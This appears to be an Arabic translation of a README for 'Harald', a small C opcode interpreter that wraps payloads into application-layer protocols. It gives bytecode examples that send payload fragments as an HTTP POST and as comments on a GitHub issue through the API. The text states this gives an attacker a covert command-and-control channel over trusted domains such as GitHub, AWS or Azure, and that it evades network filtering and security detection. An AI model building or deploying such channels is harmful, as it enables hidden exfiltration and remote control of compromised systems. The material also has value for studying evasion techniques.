
وحدة معالجة مركزية بسيطة في الذاكرة لإنشاء بروتوكولات محايدة أثناء التشغيل
Harald هو وحدة معالجة مركزية (CPU) صغيرة عالية المستوى تعمل في الذاكرة، قادرة على معالجة مجموعة من التعليمات لتوليد بروتوكولات طبقة التطبيق لاستخدامها عبر بروتوكول شبكة معين (TCP/UDP).
سيستهلك Harald تدفقًا من OPCODES ويطبق تحويلات مختلفة على الحمولة (payload) لتصبح مناسبة لبروتوكول طبقة التطبيق المحدد.
[!TIP] لماذا Harald؟ ربما تعرف Harald Gormsson، ملك الدنمارك، بلقبه: Blátǫnn، أو كما ننطقه اليوم، Bluetooth. سُميت التقنية على لقب Harald لأنه ربط الممالك الدنماركية والفايكنج في ذلك الوقت. لذا أنا أسمي هذا على اسمه الأول.
يتصرف Harald كوحدة معالجة مركزية (CPU). يتبع مجموعة من OPCODES التي تحدد الإجراءات. بروتوكول (PROTOCOL). سيعالج Harald العمليات المطلوبة لإنشاء البروتوكول المطلوب في الوقت الفعلي.
بمجرد توفير PROTOCOL، سيتكرر Harald عبر PAYLOAD المراد إرساله من خلال اجتياز PROTOCOL بالكامل مرة واحدة لكل جزء (fragment). أي: إذا كان يجب تقسيم الحمولة إلى أجزاء متعددة، سيستخدم Harald نفس البروتوكول لكل جزء، منفذًا كل إجراء محدد في البروتوكول على جزء الحمولة الحالي.
يحتفظ Harald بعدد من السجلات (registries) لاستخدامها بواسطة البروتوكول لتخزين القيم. يمكن استخدام هذه السجلات لتنفيذ عمليات متعددة، مثل الجمع، والطرح، والترميز وفك الترميز... إلخ.
يخصص Harald ديناميكيًا مصفوفة من النتائج حيث يمكن للبروتوكول تخزين الاستجابات لكل طلب يتم تنفيذه عند إرسال جزء من الحمولة.

يدعم Harald مجموعة متنوعة من Opcodes لتوفيرها كبروتوكول. سيقوم Harald بتنفيذ مجموعة من العمليات عالية المستوى عند استلام Opcode معين. يتوقع كل Opcode مجموعة محددة مسبقًا من الوسائط بطول محدد مسبقًا.
| OPCODE::Nº | Description | ARGS::Size |
|---|---|---|
| H_F_APPEND::0x01 | Appends the following N Bytes to the end payload | Size::4, NBytes::N |
| H_F_PREPEND::0x02 | Prepends the following N Bytes to the end payload | Size::4, NBytes::N |
| H_F_SPLIT::0x03 | Splits the Payload in fragments of the given size | Size::4 |
| H_F_PAYLOAD_INJECT::0x04 | Injects the Payload fragment into the End Payload | - |
| H_F_SOCK_INIT::0x05 | Initializes the socket connection | IsIPAddress:1, SSL_Enabled::1, TCP/UDP::1, [(HostLen::4,HostName:N)/IPAddress::4], Port::2 |
| H_F_SEND::0x06 | Sends the constructed End Payload | - |
| H_F_RECV::0x07 | Receives up to N Bytes | Size::4 |
| H_F_CLOSE::0x08 | Closes the socket and cleans | - |
| H_F_INJECT::0x09 | Injects the requested registry into the End Payload | Reg::1 |
| H_F_ENCODE_STR::0x0A | Encodes a Payload field to its string representation | IsReg::1, [(Payload::1, Field::1)/Reg::1], Format::1 |
| H_F_DECODE_STR::0xA0 | Decodes the contents of a registry to its numeric representation | Reg::1 |
| H_F_ENCODE_STRB64::0x0B | Encodes a Payload field to its B64string representation | Payload::1, Field::1 |
| H_F_COMPUTE_FRAG_LENGTH::0x0D | Calculates the next fragment to be sent length | - |
| H_F_SEARCH::0x0E | Searches for a given byte pattern of a given N size in a given registry | Reg::1, Size::4, NBytes::N |
| H_F_SEEK::0x0F | Moves the cursor in a given payload by a given number of bytes | Payload::1, Offset::4 |
| H_F_PUSH::0x10 | Pushes a number of bytes or the contents of a registry into another registry | IsReg::1, [Size::4, NBytes::N]/SrcReg::1, DstReg::2 |
| H_F_ADD::0x12 | Adds two registries or a number to a registry | IsReg::1, [Size::4, NBytes::N]/SrcReg::1, DstReg::2 |
سيولّد تدفق Opcode التالي البيانات المطلوبة لإرسالها لكي يُفهم الاتصال كـ HTTP. سيبدأ، ويعدّل الحمولة لتبدو كحركة مرور HTTP، ويرسلها عبر اتصال SSL/TLS، ويغلق الاتصال في النهاية.
H_F_SPLIT, 0x00, 0x00, 0x00, 0xFF, // Splits the Payload
H_F_APPEND, 0x00, 0x00, 0x00, 0x46, // Appends...
'P', 'O', 'S', 'T', ' ', '/', ' ', // POST /
'H', 'T', 'T', 'P', '/', '1', '.', '1', '\r', '\n', // HTTP/1.1
'H', 'o', 's', 't', ':', ' ', // Host:
'd', 'o', 'm', 'a', 'i', 'n', '.', 'c', 'o', 'm', '\r', '\n', // domain.com
'C', 'o', 'n', 'n', 'e', 'c', 't', 'i', 'o', 'n', ':', ' ', // Connection:
'c', 'l', 'o', 's', 'e', '\r', '\n', // close
'C', 'o', 'n', 't', 'e', 'n', 't', '-', // Content-
'L', 'e', 'n', 'g', 't', 'h', ':', ' ', // Length:
H_F_COMPUTE_FRAG_LENGTH, // Next Fragment's size
H_F_ENCODE_STR, H_PAY_END_PAYLOAD, H_PAY_FRAGMENT_SIZE, 'u', // FragSize encode
H_F_INJECT, H_REG_RET, // Inject the Fragment Size encoded str
H_F_APPEND, 0x00, 0x00, 0x00, 0x04, '\r', '\n', '\r', '\n', // Append Body begin
H_F_PAYLOAD_INJECT, // Inject the Payload
H_F_SOCK_INIT, 0x01, 0x01, 0x7F, 0x00, 0x00, 0x01, 0x04, 0xD2, // Init Socket
H_F_SEND, // Send the Payload over the socket
H_F_CLOSE // Close the socket and cleanup
يتبع المثال التالي نفس الإجراءات كما في المثال السابق. ومع ذلك، بدلاً من مجرد إرسال الحمولة كجسم (body)، سيوجّه البروتوكول Harald لإعداد بعض الترويسات (headers) وهيكلة الجسم بحيث يمكنه التواصل مع GitHub API لنشر تعليقات في issue بمستودع خاص.
قد يساعد هذا النوع من الاتصال المهاجم على إنشاء قناة اتصال مع خادم C2 باستخدام نطاق موثوق، مثل *.github.com. يمكن تعميم هذا المثال نفسه لاستخدام موارد AWS (مثل قوائم SQS تحت sqs..amazonaws.com)، وموارد Azure (مثل blobs تحت <storage_account_name>.blob.core.windows.net) وهكذا.
هذا المثال مرجع جيد لتلك الاتصالات التي تتطلب STRUCTURED_FORMAT (JSON) + APPLICATION-LAYER_PROTOL (HTTPS) + PROTOCOL (TCP).
H_F_SPLIT, 0x00, 0x00, 0x00, 0xFF,
H_F_APPEND, 0x00, 0x00, 0x01, 0x85, 'P','O','S','T',' ',
'/','r','e','p','o','s','/','YOUR_GH_USER','/','YOUR_GH_REPO',
'/','i','s','s','u','e','s','/','ISSUE_NUMBER',
'/','c','o','m','m','e','n','t','s',' ',
'H','T','T','P','/','1','.','1','\r','\n', 'H','o','s','t',':','
','a','p','i','.','g','i','t','h','u','b','.','c','o','m','\r','\n',
'A','u','t','h','o','r','i','z','a','t','i','o','n',':',' '
,'B','e','a','r','e','r',' ','g','i','t','h','u','b','_','p','a','t','_',
'YOUR_GH_PAT','\r','\n',
'X','-','G','i','t','H','u','b','-',
'A','p','i','-','V','e','r','s','i','o','n',':','
', '2','0','2','2','-','1','1','-','2','8','\r','\n',
'U','s','e','r','-','A','g','e','n','t',':','
','H','a','r','a','l','d','/','0','.','1','b','\r','\n',
'A','c','c','e','p','t',':','
','a','p','p','l','i','c','a','t','i','o','n','/',
'v','n','d','.','g','i','t','h','u','b','+','j','s','o','n','\r','\n',
'C','o','n','t','e','n','t','-','T','y','p','e',':',' ',
'a','p','p','l','i','c','a','t','i','o','n','/',
'x','-','w','w','w','-','f','o','r','m','-',
'u','r','l','e','n','c','o','d','e','d','\r','\n',
'C','o','n','n','e','c','t','i','o','n',':','
','c','l','o','s','e','\r','\n',
'C','o','n','t','e','n','t','-','L','e','n','g','t','h',':',' ',
H_F_COMPUTE_FRAG_LENGTH,
H_F_ADD, 0x00, 0x00, 0x00, 0x00, 0x01, 0x0B, H_REG_RET,
H_F_ENCODE_STR, 0x01, H_REG_RET, 'u',
H_F_INJECT, H_REG_RET,
H_F_APPEND, 0x00, 0x00, 0x00, 0x0D, '\r', '\n', '\r', '\n', '{', '"', 'b',
'o', 'd', 'y', '"', ':', '"',
H_F_PAYLOAD_INJECT,
H_F_APPEND, 0x00, 0x00, 0x00, 0x02, '"', '}',
H_F_SOCK_INIT, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x0F,
'a', 'p', 'i', '.',
'g', 'i', 't', 'h', 'u', 'b', '.', 'c', 'o', 'm', '\0', 0x01, 0xBB,
H_F_SEND,
H_F_CLOSE
ستحتاج إلى مترجم (compiler) لبنائه. مثل GCC، أو Clang، أو Microsoft's CL. أيضًا، هناك بعض تبعيات المكتبات:
قم بتثبيت LibSSL وpkg-config:
sudo apt install libssl-dev pkg-config
قم بتثبيت OpenSSL عبر brew أو قم ببنائه وتهيئته بنفسك.
brew install openssl
احصل على OpenSSL من أي من الموزعين المرتبطين أو قم ببنائه وتهيئته بنفسك.
يحتوي المستودع على Makefile لبناء المكتبة وبعض الملفات التنفيذية للاختبار.
لبناء مكتبة Harald، شغّل:
make lib
سيؤدي هذا إلى إنشاء مكتبة مشتركة libharald.so، أو libharald.dll، أو
libharald.dylib حسب منصتك.
لبناء الملفات التنفيذية للاختبار، شغّل:
make test
سيؤدي هذا إلى إنشاء ملفين تنفيذيين: test_harald وtest_harald_gh (مع
امتدادهما الخاص، بناءً على منصتك).
لاختبار وظائف Harald، شغّل الخوادم المُهيَّأة socket_server_test.py و https_server_test.py. ستُنشئ هذه خادم socket وخادم HTTPS على التوالي لاستخدامهما بواسطة الملفات التنفيذية للاختبار.
ملاحظة: قد تحتاج إلى تعيين
LD_LIBRARY_PATHإلى المجلد الحالي:LD_LIBRARY_PATH=$LD_LIBRARY_PATH:. ./test_harald
سيُطلب منك إنشاء شهادة SSL/TLS لاتصال HTTPS (الشهادة الموقعة ذاتيًا كافية). يمكنك إنشاء واحدة باستخدام OpenSSL بالأمر التالي:
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365
بمجرد تشغيل الخوادم، نفّذ الملف التنفيذي test_harald:
./test_harald
يجب أن يتصل الملف التنفيذي بالخوادم المُهيَّأة ويرسل حمولات البيانات المحددة مسبقًا كما هو محدد في البروتوكول.
لاختبار وظائف GitHub API، يجب إجراء بعض التحضيرات
قبل تشغيل الملف التنفيذي test_harald_gh.
أنشئ مستودعًا وissue.
يحتوي ملف test_harald_gh.c على مثال بسيط لكيفية
استخدام Harald للتفاعل مع GitHub API لإنشاء تعليقات في issues. يتطلب
أن يكون لديك رمز وصول (access token) لـ GitHub، والذي يمكن الحصول عليه من
إعدادات حسابك على GitHub تحت Developer settings -> Personal access tokens ->
Fine-grained tokens. يُوصى بتقييد الرمز (fine-grain) للحصول فقط على
الوصول إلى المستودع المُنشأ حديثًا وإلى أذونات Read access to metadata و
Read and Write access to issues and pull requests.
للتشغيل بشكل صحيح، سيُطلب منك تعديل القيم النائبة (placeholder) الخاصة بـ:
YOUR_GH_USER: اسم مستخدمك على GitHub.ISSUE_NUMBER: رقم الـ issue في المستودع الذي تريد التفاعل
معه (مثل "1" لأول issue في المستودع).YOUR_GH_REPO: اسم المستودع الذي تريد التفاعل
معه (مثل "harald").YOUR_GH_PAT: رمز الوصول الخاص بك على GitHub.بمجرد الانتهاء، تأكد من تحديث حجم الحمولة المرسلة لتتناسب مع احتياجاتك!
في test_harald_gh.c#L9، الوسيط الرابع لـ
opcode H_F_APPEND يمثل حجم الحمولة. ستحتاج إلى تحديث
هذه القيمة وفقًا لذلك عند تعديل بنية الحمولة.
قم ببناء الملفات التنفيذية للاختبار وشغّل هذا:
./test_harald_gh
سيؤدي هذا إلى إنشاء تعليق في الـ issue المقدم.
يمكن استخدام الكود المصدري الوارد في هذا المستودع لتجاوز تصفية الشبكة وتقليل خطر الاكتشاف بواسطة أجهزة الأمان. قبل استخدام هذا الكود المصدري، يرجى التأكد من أن استخدامك متوافق مع جميع القوانين المعمول بها في نطاق اختصاصك.
| H_F_SUBSTRACT::0x13 |
| Substracts two registries or a number to a registry |
| IsReg::1, [Size::4, NBytes::N]/SrcReg::1, DstReg::2 |
| H_F_READ::0x14 | Reads from a given registry up to the length stored in another registry | FromReg::1, SizeReg::1 |
| H_F_STORE::0x15 | Stores a registry value into Harald's Storage | Reg::1 |